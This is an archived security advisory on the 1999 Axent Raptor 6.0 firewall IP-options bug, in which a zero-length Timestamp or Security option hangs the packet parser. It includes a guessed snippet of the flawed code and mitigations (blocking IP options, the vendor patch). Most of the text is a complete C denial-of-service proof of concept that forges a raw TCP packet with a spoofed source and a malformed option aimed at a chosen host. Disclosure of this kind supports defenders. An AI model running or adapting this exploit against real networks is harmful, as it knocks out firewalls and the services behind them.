COMMAND
Axent Raptor
SYSTEMS AFFECTED
Axent Raptor 6.0
PROBLEM
This bug was discovered in the CERIAS lab's at Purdue by Florian
and Kerschbaum Mike Frantzen. Testing wEnvironment was:
Sparc 5 85MHz
Solaris 2.6 Generic_105181-12
Axent Raptor 6.0.0 Firewall
Axent's Raptor programmers have a switch statement for IP Options
in a packet. They likely have cases for most of the options
contained in the RFC's but only wrote handling code for the
commonly 'malused' options (source routing). For all the other
known options, they are handled by a generic routine which likely
tries to skip that option. See probable code snapshot below.
IP Options are (generally) of the form:
-------- -------- -------- --------
| Type | Length | ... | ... |
-------- -------- -------- --------
Where the Type indicates which IP Option is present and the
Length obviously indicates how long the option is. It also needs
to be pointed out that there can be multiple options inside an IP
packet -- they just follow each other.
IP Packets are parsed either with interrupts masked off or while
holding an vital global mutex. When the option parsing tries to
skip a 'benign' option, it forgets to check if it is of zero
length. So the end result is essentially:
for (ecx = 20; ecx < header_length; ecx += 0 ) { ... }
The Options that can lock up the firewall are the Timestamp option
and the Security option. The copy bit does not appear to affect
the results. Nor does the underlying protocol (TCP, UDP or
random).
This is the probable offending segment of code in Raptor. It is
only an educated guess - authors didn't se their code nor they
have disassembled it.
[.....]
/* Parse the IP Options of the packet */
for (c = 20; c < (ip.ip_hl * 4); ) {
switch ( packet[c] & ~COPY_BIT ) {
case TIMESTAMP:
case SECURITY:
if ( c + 1 > ip.ip_hl * 4 )
goto done_parsing_label;
option_length = packet[c + 1];
/* ****************************** ****
* Forgetting to check if the option length is
* zero here. So you enter an infinite loop
* ****************************** ****/
if ( option_length + c > ip.ip_hl * 4 )
goto done_parsing_label;
c += option_length;
break;
case END_OF_OPTIONS:
goto done_parsing_label;
case NOP:
c++;
break;
case STRICT_SOURCE_ROUTE:
case LOOSE_SOURCE_ROUTE:
case RECORD_ROUTE:
log_dangerous_packet();
default:
if ( c + 1 >= ip.ip_hl * 4 )
goto done_parsing_label;
option_length = packet[c + 1];
if ( (option_length == 0)
||(option_length + c >= ip.ip_hl * 4) )
goto done_parsing_label;
c += option_length;
break;
}
}
done_parsing_label:
queue_packet_down_stack(packet);
unmask_interrupts();
[.....]
MSG.Net Inc. constructed a working DOS for the Axent Raptor 6.0
IP options processing bug. Compiles and runs on Intel/BSD
systems.
/*
* 10.26.1999
* Axent Raptor 6.0 'IP Options DOS' as documented in BugTraq 10.20.1999
*
* Proof of Concept by MSG.Net, Inc.
*
* Tested on Intel/*BSD systems, your mileage may vary. No warranty.
* Free to distribute as long as these comments remain intact.
*
* Exercises the IP options bug reported in Raptor 6.0, this bug is fixed by
* an Axent official patch available at:
*
* ftp://ftp.raptor.com/patches/V6.0/6.02Patch/
*
*
* The MSG.Net Firewall Wrecking Crew
*
* [kadokev, l^3, strange, vn]
*
* Quid custodiet ipsos custodes?
*/
#define __FAVOR_BSD
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#define SRC_IP htonl(0x0a000001) /* 10.00.00.01 */
#define TCP_SZ 20
#define IP_SZ 20
#define PAYLOAD_LEN 32
#define OPTSIZE 4
#define LEN (IP_SZ + TCP_SZ + PAYLOAD_LEN + OPTSIZE)
void main(int argc, char *argv[])
{
int checksum(unsigned short *, int);
int raw_socket(void);
int write_raw(int, unsigned char *, int);
unsigned long option = htonl(0x44000001); /* Timestamp, NOP, END */
unsigned char *p;
int s, c;
struct ip *ip;
struct tcphdr *tcp;
if (argc != 2) {
printf("Quid custodiet ipsos custodes?\n");
printf("Usage: %s <destination IP>\n", argv[0]);
return;
}
p = malloc(1500);
memset(p, 0x00, 1500);
if ((s = raw_socket()) < 0)
return perror("socket");
ip = (struct ip *) p;
ip->ip_v = 0x4;
ip->ip_hl = 0x5 + (OPTSIZE / 4);
ip->ip_tos = 0x32;
ip->ip_len = htons(LEN);
ip->ip_id = htons(0xbeef);
ip->ip_off = 0x0;
ip->ip_ttl = 0xff;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_src.s_addr = SRC_IP;
ip->ip_dst.s_addr = inet_addr(argv[1]);
/* Masquerade the packet as part of a legitimate answer */
tcp = (struct tcphdr *) (p + IP_SZ + OPTSIZE);
tcp->th_sport = htons(80);
tcp->th_dport = 0xbeef;
tcp->th_seq = 0x12345678;
tcp->th_ack = 0x87654321;
tcp->th_off = 5;
tcp->th_flags = TH_ACK | TH_PUSH;
tcp->th_win = htons(8192);
tcp->th_sum = 0;
/* Set the IP options */
memcpy((void *) (p + IP_SZ), (void *) &option, OPTSIZE);
c = checksum((unsigned short *) &(ip->ip_src), 8)
+ checksum((unsigned short *) tcp, TCP_SZ + PAYLOAD_LEN)
+ ntohs(IPPROTO_TCP + TCP_SZ);
while (c >> 16) c = (c & 0xffff) + (c >> 16);
tcp->th_sum = ~c;
printf("Sending %s -> ", inet_ntoa(ip->ip_src));
printf("%s\n", inet_ntoa(ip->ip_dst));
if (write_raw(s, p, LEN) != LEN)
perror("sendto");
}
int write_raw(int s, unsigned char *p, int len)
{
struct ip *ip = (struct ip *) p;
struct tcphdr *tcp;
struct sockaddr_in sin;
tcp = (struct tcphdr *) (ip + ip->ip_hl * 4);
memset(&sin, 0x00, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip->ip_dst.s_addr;
sin.sin_port = tcp->th_sport;
return (sendto(s, p, len, 0, (struct sockaddr *) &sin,
sizeof(struct sockaddr_in)));
}
int raw_socket(void)
{
int s, o = 1;
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return -1;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (void *) &o, sizeof(o)) < 0)
return (-1);
return (s);
}
int checksum(unsigned short *c, int len)
{
int sum = 0;
int left = len;
while (left > 1) {
sum += *c++;
left -= 2;
}
if (left)
sum += *c & 0xff;
return (sum);
}
Sending raw packets requires running as root, so anybody with a
lick of sense will have read through the source before compiling
this code.
SOLUTION
Solution one: Learn to power cycle your firewall
Solution two: Block all traffic with IP Options at your screening
router.
Solution three:Apply Axent's Hotfix
ftp://ftp.raptor.com/patches/V6.0/6.02Patch/